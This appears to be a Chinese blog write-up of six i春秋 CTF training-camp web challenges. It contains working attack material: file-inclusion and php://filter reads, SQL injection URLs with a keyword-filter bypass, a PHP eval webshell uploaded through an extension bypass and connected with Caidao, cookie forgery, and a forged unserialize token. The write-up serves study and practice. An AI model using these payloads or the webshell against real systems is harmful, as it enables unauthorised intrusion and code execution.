I春秋CTF训练营web题解(一)

2024-02-26 13:08
文章标签 web 训练营 ctf 题解 春秋

本文主要是介绍I春秋CTF训练营web题解(一),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

I春秋CTF训练营web题解(一)

(1)include

==hint:没错!就是文件包含漏洞.==

点开链接,发现

PzPytJ.md.png

通过源码可知可以提交一个path的变量,通过ctrl+f搜索allow_url_include,发现是打开状态:

PzPvB8.md.png

所以打开火狐浏览器,用hackbar工具输入:

PzipNQ.png

发现存在疑似含有flag的文件

Pzikj0.png

接着使用php://filter协议查看曝露出来的文件的内容,因为PHP文件是在不能直接显示的,所以使用了base64编码显示

PziJHO.png

然后解码就可以得到flag了

Pziw8A.md.png

(2)SQL

==hint:出题人就告诉你这个是个注入,有种别走!==

创建链接点进去,然后查看源码

Pzemss.md.png

很明显知道用sql注入,用火狐hackbar进行手动注入,先爆字段

http://4416038693a84c979b378d558565548a72402f0bf1e44e3d.game.ichunqiu.com/index.php?id=1 order by 4

Pze1iT.md.png

说明存在过滤,试试/**/,关键词大写,不行,然后尝试<>发现可以

http://4416038693a84c979b378d558565548a72402f0bf1e44e3d.game.ichunqiu.com/index.php?id=1 ord<>er by 4

PzeNLR.md.png

没出现结果,所以接下来继续爆字段,4不对就二分法换2,然后发现还是没结果,换3有了

http://4416038693a84c979b378d558565548a72402f0bf1e44e3d.game.ichunqiu.com/index.php?id=1 ord<>er by 2
http://4416038693a84c979b378d558565548a72402f0bf1e44e3d.game.ichunqiu.com/index.php?id=1 ord<>er by 3

Pzeae1.md.png

然后输入

http://4416038693a84c979b378d558565548a72402f0bf1e44e3d.game.ichunqiu.com/index.php?id=1 union se<>lect 1,2,3 from info

PzeWwt.png

说明第二个字段可以显示,那么接下来就是爆数据库名,表名,列名:

①爆数据库名

http://4416038693a84c979b378d558565548a72402f0bf1e44e3d.game.ichunqiu.com/index.php?id=1 union se<>lect 1,database(),3 from info

②爆表名

http://4416038693a84c979b378d558565548a72402f0bf1e44e3d.game.ichunqiu.com/index.php?id=1 union se<>lect 1,table_name,3 from information_schema.tables where table_schema='sqli'

③爆列名

http://4416038693a84c979b378d558565548a72402f0bf1e44e3d.game.ichunqiu.com/index.php?id=1 union se<>lect 1,column_name,3 from information_schema.columns where table_name='sqli'

发现疑似存在flag的列

http://4416038693a84c979b378d558565548a72402f0bf1e44e3d.game.ichunqiu.com/index.php?id=1 union se<>lect 1,flAg_T5ZNdrm,3 from sqli.info

flag就出来了。

(3)Do you know upload

==hint:加油吧,少年。==

创建链接,点开

Pzs8hV.png

很明显文件上传,试着上传已经写好的PHP一句话木马

<?php eval($_POST['a']);?>

然后改为jpg格式上传抓包,并改为php后缀就可以成功上传。

PzsBA1.png

因为我之前已经成功上传过了1.php文件,显示已存在,如果是第一次上传就会显示路径:upload/1.php

PzsLuQ.png

然后就是菜刀连接,打开

PzypCV.md.png

发现config.php和ctf.sql,flag应该存在数据库中,点开config.php可以看到数据库的信息

然后用菜刀编写shell连接到数据库查看flag。

(4)broken

==hint:you got a file,but…==

点开链接,发现file是个超链接,点进去

一看jother编码,放进浏览器控制台,发现末尾少了一个],加上后出现错误

于是删除最后面的(),再次输入得到[Array(1)],打开就可以看到flag了。

(5)who are you?

==hint:我是谁,我在哪,我要做什么?==

点开链接进去,显示

然后抓包发现cookie参数有问题

猜测是base64编码,拿去解码得

是Rot13,运行脚本解码得到guest,尝试将guest换成admin用脚本进行Rot13加密得到Zjo1OiJucXp2YSI7,再重新放入cookie中

可以看到已经成功登陆并且说可以上传,旁边有一条注释

<!-- $filename = $_POST['filename']; $data = $_POST['data']; -->

所以将请求包改成POST形式,然后输入

filename=2.php&data[]=<?php eval($_POST['a']);?>

再次提交

找到路径,输入进去看看就可以得到flag。

(6)Login

==hint:加油,我看好你==

点开链接,是一个登录界面

做web题习惯性的点开页面源代码看,发现一行注释,虽然在页面下面

猜测是账号密码,输入登录发现成功登录,然而登录了并没有什么东西,抓包看看

发现member.php这页刷新返回包中有一个show参数,猜测可以show source,所以改包,加上一个show参数并设为1

发现真的出现了源码

if(isset($requset['token'])){$login = unserialize(gzuncompress(base64_decode($requset['token'])));$db = new db();$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');if($login['user'] === 'ichunqiu'){echo $flag;}else if($row['pass'] !== $login['pass']){echo 'unserialize injection!!';}else{echo "(╯‵□′)╯︵┴─┴ ";}

重要的就是这段,编写代码

<?php
$a=array('user'=>'ichunqiu');
$a=base64_encode(gzcompress(serialize($a)));
echo $a
?>

运行得到token

然后放到cookie中提交就可以得到flag。

这篇关于I春秋CTF训练营web题解(一)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/748966

相关文章

Java Web指的是什么

Java Web指的是使用Java技术进行Web开发的一种方式。Java在Web开发领域有着广泛的应用,主要通过Java EE(Enterprise Edition)平台来实现。  主要特点和技术包括: 1. Servlets和JSP:     Servlets 是Java编写的服务器端程序,用于处理客户端请求和生成动态网页内容。     JSP(JavaServer Pages)

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

EasyPlayer.js网页H5 Web js播放器能力合集

最近遇到一个需求,要求做一款播放器,发现能力上跟EasyPlayer.js基本一致,满足要求: 需求 功性能 分类 需求描述 功能 预览 分屏模式 单分屏(单屏/全屏) 多分屏(2*2) 多分屏(3*3) 多分屏(4*4) 播放控制 播放(单个或全部) 暂停(暂停时展示最后一帧画面) 停止(单个或全部) 声音控制(开关/音量调节) 主辅码流切换 辅助功能 屏

C++ | Leetcode C++题解之第393题UTF-8编码验证

题目: 题解: class Solution {public:static const int MASK1 = 1 << 7;static const int MASK2 = (1 << 7) + (1 << 6);bool isValid(int num) {return (num & MASK2) == MASK1;}int getBytes(int num) {if ((num &

C语言 | Leetcode C语言题解之第393题UTF-8编码验证

题目: 题解: static const int MASK1 = 1 << 7;static const int MASK2 = (1 << 7) + (1 << 6);bool isValid(int num) {return (num & MASK2) == MASK1;}int getBytes(int num) {if ((num & MASK1) == 0) {return

9.8javaweb项目总结

1.主界面用户信息显示 登录成功后,将用户信息存储在记录在 localStorage中,然后进入界面之前通过js来渲染主界面 存储用户信息 将用户信息渲染在主界面上,并且头像设置跳转,到个人资料界面 这里数据库中还没有设置相关信息 2.模糊查找 检测输入框是否有变更,有的话调用方法,进行查找 发送检测请求,然后接收的时候设置最多显示四个类似的搜索结果

JavaWeb【day09】--(Mybatis)

1. Mybatis基础操作 学习完mybatis入门后,我们继续学习mybatis基础操作。 1.1 需求 需求说明: 根据资料中提供的《tlias智能学习辅助系统》页面原型及需求,完成员工管理的需求开发。 通过分析以上的页面原型和需求,我们确定了功能列表: 查询 根据主键ID查询 条件查询 新增 更新 删除 根据主键ID删除 根据主键ID批量删除

C - Word Ladder题解

C - Word Ladder 题解 解题思路: 先输入两个字符串S 和t 然后在S和T中寻找有多少个字符不同的个数(也就是需要变换多少次) 开始替换时: tips: 字符串下标以0开始 我们定义两个变量a和b,用于记录当前遍历到的字符 首先是判断:如果这时a已经==b了,那么就跳过,不用管; 如果a大于b的话:那么我们就让s中的第i项替换成b,接着就直接输出S就行了。 这样

利用Django框架快速构建Web应用:从零到上线

随着互联网的发展,Web应用的需求日益增长,而Django作为一个高级的Python Web框架,以其强大的功能和灵活的架构,成为了众多开发者的选择。本文将指导你如何从零开始使用Django框架构建一个简单的Web应用,并将其部署到线上,让世界看到你的作品。 Django简介 Django是由Adrian Holovaty和Simon Willison于2005年开发的一个开源框架,旨在简

web群集--nginx配置文件location匹配符的优先级顺序详解及验证

文章目录 前言优先级顺序优先级顺序(详解)1. 精确匹配(Exact Match)2. 正则表达式匹配(Regex Match)3. 前缀匹配(Prefix Match) 匹配规则的综合应用验证优先级 前言 location的作用 在 NGINX 中,location 指令用于定义如何处理特定的请求 URI。由于网站往往需要不同的处理方式来适应各种请求,NGINX 提供了多种匹